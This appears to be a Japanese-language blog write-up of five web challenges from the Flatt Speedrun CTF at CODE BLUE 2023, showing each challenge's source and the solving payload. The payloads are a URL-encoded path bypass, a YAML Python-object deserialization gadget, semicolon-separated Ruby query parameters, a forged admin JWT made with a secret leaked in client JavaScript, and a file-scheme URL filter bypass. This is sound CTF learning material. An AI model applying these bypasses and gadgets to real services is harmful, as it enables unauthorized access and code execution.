CODE BLUE 2023内で開催されたFlatt Speedrun CTFに参加してきました。 結果は沼をジャブジャブ進みながら2時間20分くらいで5問完答しました。
deny
import os
from flask import Flask
class ForbidAdminMiddleware:
def __init__(self, app):
self.app = app
def __call__(self, environ, start_response):
request_uri = environ['REQUEST_URI']
if request_uri.startswith('/admin'):
start_response('403 Forbidden', [])
return [request_uri.encode()]
return self.app(environ, start_response)
app = Flask(__name__)
app.wsgi_app = ForbidAdminMiddleware(app.wsgi_app)
@app.route("/")
def index():
return 'Welcome to Speedrun CTF!'
@app.route("/admin/flag")
def flag():
return os.environ.get('FLAG', '')
/admin
から始まるパスは弾くようなミドルウェアが入っている。
こういうのは記憶にない限りは頑張らないといけないので、いろいろやってたら/%2Fadmin/flag
でフラグが出た。
flag{why_dont_you_use_PATH_INFO}
gadget
import ast
import base64
import pickle
import yaml
from fastapi import FastAPI
from jinja2 import Template
from pydantic import BaseModel
class Input(BaseModel):
input: str | None = None
base64_input: str | None = None
app = FastAPI()
@app.get('/')
def index():
return 'Choose your own function!'
@app.post('/eval')
def api_eval(input: Input):
return {'output': repr(ast.literal_eval(input.input))}
@app.post('/jinja2')
def api_jinja2(input: Input):
return {'output': Template(input.input).render()}
@app.post('/pickle')
def api_pickle(input: Input):
return {'output': repr(pickle.loads(base64.b64decode(input.base64_input)))}
@app.post('/yaml')
def api_yaml(input: Input):
return {'output': repr(yaml.load(input.input, Loader=yaml.Loader))}
デシリアライズするから好きなデータを投げろという問題。
literal_eval
以外どれも行けそうな気がしたけど、なんだかんだjinja2→pickle→yamlの順に触って時間を溶かしてしまった。
yamlでコード実行できるの知りませんでした。
!!python/object/apply:os.getenv
- 'FLAG'
flag{literal_eval_is_unexploitable_isnt_it?}
gem
require 'sinatra'
get '/' do
p params
if params == {}
'Hello'
elsif params[:a] != '1'
status 400
'Nope1'
elsif params[:b] != ['2']
status 401
'Nope2'
elsif params[:c] != [{'d' => '3', 'e' => nil}]
status 402
'Nope3'
elsif request.query_string.include? '&'
# what was parse_nested_query?
status 403
'Nope4'
else
ENV['FLAG']
end
end
Rubyで「ウワー」って言いながら解いた。
偶然この記事に辿り着いて区切り文字にセミコロンが使えそうなのに気づいてなんとかなった。
?a=1;b[]=2;c[][d]=3;c[][e]
でアクセスすればOK
flag{this_behavior_is_useful_btw}
arrow
final router = Router()
..post('/api/login', (Request request) async {
String? username;
try {
final body = jsonDecode(await request.readAsString());
username = body['username'];
} catch (e) {
return json({}, status: 400);
}
if (username == 'admin') {
return json({}, status: 403);
}
final loginToken = LoginToken(token: signJWT(username));
return json(loginToken.toJson());
})
..get('/api/flag', (Request request) {
final authorization = request.headers['Authorization'];
final token = authorization?.replaceFirst('Bearer ', '');
final jwt = verifyJWT(token);
if (jwt == null) {
return json({}, status: 401);
}
if (jwt.subject != 'admin') {
return json({}, status: 403);
}
return json(Flag(flag: Platform.environment['FLAG']).toJson());
});
JWTトークンで認証するだけのDartサーバーの一式が配布される。 競技中はビルドが回らなかったので検証に苦労したり、真面目にJWTバイパスを考えたりしていて1時間が経過してしまった。
結論としては、Dartの特徴?らしいサーバーサイドとクライアントサイドでライブラリを共有できる部分が問題だった。
Secretキーが共有しているライブラリに含まれているせいで、ブラウザから見られるmain.dart.js
から読み出せる。
あとは適当にトークンを生成して終わり。
import jwt
key = 'eccf539166d55142bb491b2ff45a14e47724ad1a60080b06f105951312d101f2'
token = jwt.encode({'sub': 'admin'}, key, algorithm='HS256')
print(token)
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiJ9.jaOw-CxedEi6QQwUYK4B1awGpCTlf_B1qHvxHRE56yo
flag{dont_confuse_frontend_and_backend}
bread
const port = process.env.PORT || 3000;
if (process.env.FLAG) {
Bun.write("/flag", process.env.FLAG);
}
const server = Bun.serve({
port,
async fetch(req) {
const url = new URL(req.url);
if (url.pathname === "/") {
return new Response("Welcome to Bun!");
} else if (url.pathname === "/zzz") {
return new Response("sleeping...");
} else if (url.pathname === "/flag") {
return new Response("read /flag!");
} else if (req.method === "POST" && url.pathname === "/fetch") {
const fetchUrl = url.searchParams.get("url") || "";
if ([...fetchUrl].some((c) => [..."flatt"].includes(c))) {
return new Response("Nope", { status: 400 });
}
// by the way, where is the implementation of fetch: https://github.com/oven-sh/bun
const res = await fetch(new URL(fetchUrl, `http://localhost:${port}/`));
return new Response((await res.blob()).stream());
}
return new Response("Not found", { status: 404 });
},
});
ファイルシステム上の/flag
を読む問題。
謎のコメントが書いてあるからとBunのソースコードを読みに行ったのに全然関係なかった。
URLはたとえbaseが指定されていても、file:///
とかをpathに指定するとbaseを無視してURLが生成されるらしい。
あとはフィルタバイパスをすればいい。
URLスキームの方は大文字小文字が区別されないので大文字化、パス部分は区別してしまうのでパーセントエンコーディングをする。
url=FILE:///%66%6c%61%67
flag{file_scheme_isnt_implemented_in_nodejs}
結果
ひどい。
問題は面白かったしSpeedrunっぽいテーマでもあったのでちゃんと記録を作りたかったですね。 Flattさん開催ありがとうございました。 問題はGitHubで公開されているそうなので、この記事を見て手を動かしてみたくなった人は是非チャレンジしてみてください。